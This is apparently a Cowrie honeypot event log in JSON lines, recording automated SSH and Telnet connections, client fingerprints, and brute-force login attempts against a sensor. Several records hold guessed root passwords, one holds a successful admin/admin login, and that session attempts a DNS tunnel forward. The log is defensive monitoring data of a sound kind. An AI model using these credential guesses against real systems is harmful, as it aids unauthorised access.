{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":45438,"dst_ip":"159.203.135.109","dst_port":22,"session":"455cf1e860d0","protocol":"ssh","message":"New connection: 147.45.197.250:45438 (159.203.135.109:22) [session: 455cf1e860d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:27.131480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:27.136742Z","src_ip":"147.45.197.250","session":"455cf1e860d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:27.226651Z","src_ip":"147.45.197.250","session":"455cf1e860d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.5184850692749,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:27.464908Z","src_ip":"192.119.13.58","session":"245c12d7f5a0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"01020304","message":"login attempt [root/01020304] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:27.495742Z","src_ip":"147.45.197.250","session":"455cf1e860d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.27732014656067,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:27.935756Z","src_ip":"192.119.13.58","session":"435b64cc58ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:28.587713Z","src_ip":"147.45.197.250","session":"455cf1e860d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":36468,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfacf0e1b102","protocol":"ssh","message":"New connection: 94.159.98.239:36468 (159.203.135.109:22) [session: dfacf0e1b102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:28.888362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:28.948810Z","src_ip":"94.159.98.239","session":"dfacf0e1b102","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.32016658782959,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:29.263821Z","src_ip":"192.119.13.58","session":"8bb8d7bc8da9","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:29.503009Z","src_ip":"94.159.98.239","session":"dfacf0e1b102","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46706,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bb5ea1dceff","protocol":"telnet","message":"New connection: 192.119.13.58:46706 (10.17.0.5:23) [session: 0bb5ea1dceff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:31.089175Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t6y7","message":"login attempt [root/1q2w3e4r5t6y7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:31.370919Z","src_ip":"94.159.98.239","session":"dfacf0e1b102","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:32.698414Z","src_ip":"94.159.98.239","session":"dfacf0e1b102","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54748,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c0854ee37de","protocol":"telnet","message":"New connection: 192.119.13.58:54748 (10.17.0.5:23) [session: 9c0854ee37de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:33.079150Z"}
{"eventid":"cowrie.session.closed","duration":42.970388650894165,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:36.747357Z","src_ip":"186.195.16.41","session":"7f884fcb1c0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44712,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8ec14f85da0","protocol":"telnet","message":"New connection: 192.119.13.58:44712 (10.17.0.5:23) [session: d8ec14f85da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:38.482108Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38746,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f09deb1d2e1","protocol":"telnet","message":"New connection: 192.119.13.58:38746 (10.17.0.5:23) [session: 9f09deb1d2e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:42.962951Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42964,"dst_ip":"10.17.0.5","dst_port":23,"session":"e528b3d4c117","protocol":"telnet","message":"New connection: 192.119.13.58:42964 (10.17.0.5:23) [session: e528b3d4c117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:44.061876Z"}
{"eventid":"cowrie.session.closed","duration":38.916122913360596,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:47.721089Z","src_ip":"192.119.13.58","session":"a6ffcc26cc76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60994,"dst_ip":"10.17.0.5","dst_port":23,"session":"f91fb5f36940","protocol":"telnet","message":"New connection: 192.119.13.58:60994 (10.17.0.5:23) [session: f91fb5f36940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:48.650112Z"}
{"eventid":"cowrie.session.closed","duration":34.15211367607117,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:49.594216Z","src_ip":"192.119.13.58","session":"e027c1e94595","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":36268,"dst_ip":"10.17.0.5","dst_port":22,"session":"cba4ce2c350d","protocol":"ssh","message":"New connection: 87.251.64.176:36268 (10.17.0.5:22) [session: cba4ce2c350d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:51.017847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:51.022670Z","src_ip":"87.251.64.176","session":"cba4ce2c350d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:51.118823Z","src_ip":"87.251.64.176","session":"cba4ce2c350d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:51.410307Z","src_ip":"87.251.64.176","session":"cba4ce2c350d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:51.509730Z","session":"cba4ce2c350d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:51.612028Z","src_ip":"87.251.64.176","session":"cba4ce2c350d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:51.717294Z","src_ip":"87.251.64.176","session":"cba4ce2c350d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44540,"dst_ip":"10.17.0.5","dst_port":23,"session":"124ce5c3929b","protocol":"telnet","message":"New connection: 192.119.13.58:44540 (10.17.0.5:23) [session: 124ce5c3929b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:29:58.484727Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46232,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c6f0cf8878b","protocol":"telnet","message":"New connection: 192.119.13.58:46232 (10.17.0.5:23) [session: 2c6f0cf8878b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:06.008920Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46434,"dst_ip":"10.17.0.5","dst_port":23,"session":"9084794d29e4","protocol":"telnet","message":"New connection: 192.119.13.58:46434 (10.17.0.5:23) [session: 9084794d29e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:06.081793Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51358,"dst_ip":"10.17.0.5","dst_port":23,"session":"069a71fb8a80","protocol":"telnet","message":"New connection: 192.119.13.58:51358 (10.17.0.5:23) [session: 069a71fb8a80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:07.497997Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55200,"dst_ip":"10.17.0.5","dst_port":23,"session":"49bd9b947f4f","protocol":"telnet","message":"New connection: 192.119.13.58:55200 (10.17.0.5:23) [session: 49bd9b947f4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:08.330342Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57088,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c8dabf2a470","protocol":"telnet","message":"New connection: 192.119.13.58:57088 (10.17.0.5:23) [session: 2c8dabf2a470]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:08.815769Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57402,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4754cb6e7c0","protocol":"telnet","message":"New connection: 192.119.13.58:57402 (10.17.0.5:23) [session: e4754cb6e7c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:08.892173Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33022,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3db4517cf4d","protocol":"telnet","message":"New connection: 192.119.13.58:33022 (10.17.0.5:23) [session: e3db4517cf4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:09.960796Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43990,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0b17313790b","protocol":"telnet","message":"New connection: 192.119.13.58:43990 (10.17.0.5:23) [session: d0b17313790b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:12.703107Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47904,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f46a8c8e862","protocol":"telnet","message":"New connection: 192.119.13.58:47904 (10.17.0.5:23) [session: 2f46a8c8e862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:13.623443Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53460,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f3a81296562","protocol":"telnet","message":"New connection: 192.119.13.58:53460 (10.17.0.5:23) [session: 3f3a81296562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:14.959798Z"}
{"eventid":"cowrie.session.closed","duration":47.13578677177429,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:18.224864Z","src_ip":"192.119.13.58","session":"0bb5ea1dceff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.15489482879639,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:20.233938Z","src_ip":"192.119.13.58","session":"9c0854ee37de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.09316301345825,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:22.575159Z","src_ip":"192.119.13.58","session":"d8ec14f85da0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33302,"dst_ip":"10.17.0.5","dst_port":23,"session":"e06897143ff3","protocol":"telnet","message":"New connection: 192.119.13.58:33302 (10.17.0.5:23) [session: e06897143ff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:23.950336Z"}
{"eventid":"cowrie.session.closed","duration":41.06440877914429,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:25.126189Z","src_ip":"192.119.13.58","session":"e528b3d4c117","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40190,"dst_ip":"10.17.0.5","dst_port":23,"session":"28e4394d4489","protocol":"telnet","message":"New connection: 192.119.13.58:40190 (10.17.0.5:23) [session: 28e4394d4489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:26.802538Z"}
{"eventid":"cowrie.session.closed","duration":43.90583324432373,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:26.868649Z","src_ip":"192.119.13.58","session":"9f09deb1d2e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52742,"dst_ip":"10.17.0.5","dst_port":23,"session":"6965a01b54dc","protocol":"telnet","message":"New connection: 192.119.13.58:52742 (10.17.0.5:23) [session: 6965a01b54dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:29.029390Z"}
{"eventid":"cowrie.session.closed","duration":0.01566147804260254,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:29.044900Z","src_ip":"192.119.13.58","session":"6965a01b54dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.75202798843384,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:31.402047Z","src_ip":"192.119.13.58","session":"f91fb5f36940","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":49788,"dst_ip":"159.203.135.109","dst_port":22,"session":"14ff1a683e79","protocol":"ssh","message":"New connection: 109.172.54.111:49788 (159.203.135.109:22) [session: 14ff1a683e79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:33.905262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:33.910915Z","src_ip":"109.172.54.111","session":"14ff1a683e79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:34.012109Z","src_ip":"109.172.54.111","session":"14ff1a683e79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazws","message":"login attempt [root/qazws] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:34.319453Z","src_ip":"109.172.54.111","session":"14ff1a683e79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:35.422770Z","src_ip":"109.172.54.111","session":"14ff1a683e79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.27162289619446,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:41.163648Z","src_ip":"192.119.13.58","session":"e4754cb6e7c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.57515263557434,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:41.583900Z","src_ip":"192.119.13.58","session":"2c6f0cf8878b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.03353762626648,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:44.115230Z","src_ip":"192.119.13.58","session":"9084794d29e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.89448523521423,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:47.597450Z","src_ip":"192.119.13.58","session":"d0b17313790b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.27081847190857,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:30:47.755424Z","src_ip":"192.119.13.58","session":"124ce5c3929b","protocol":"telnet"}
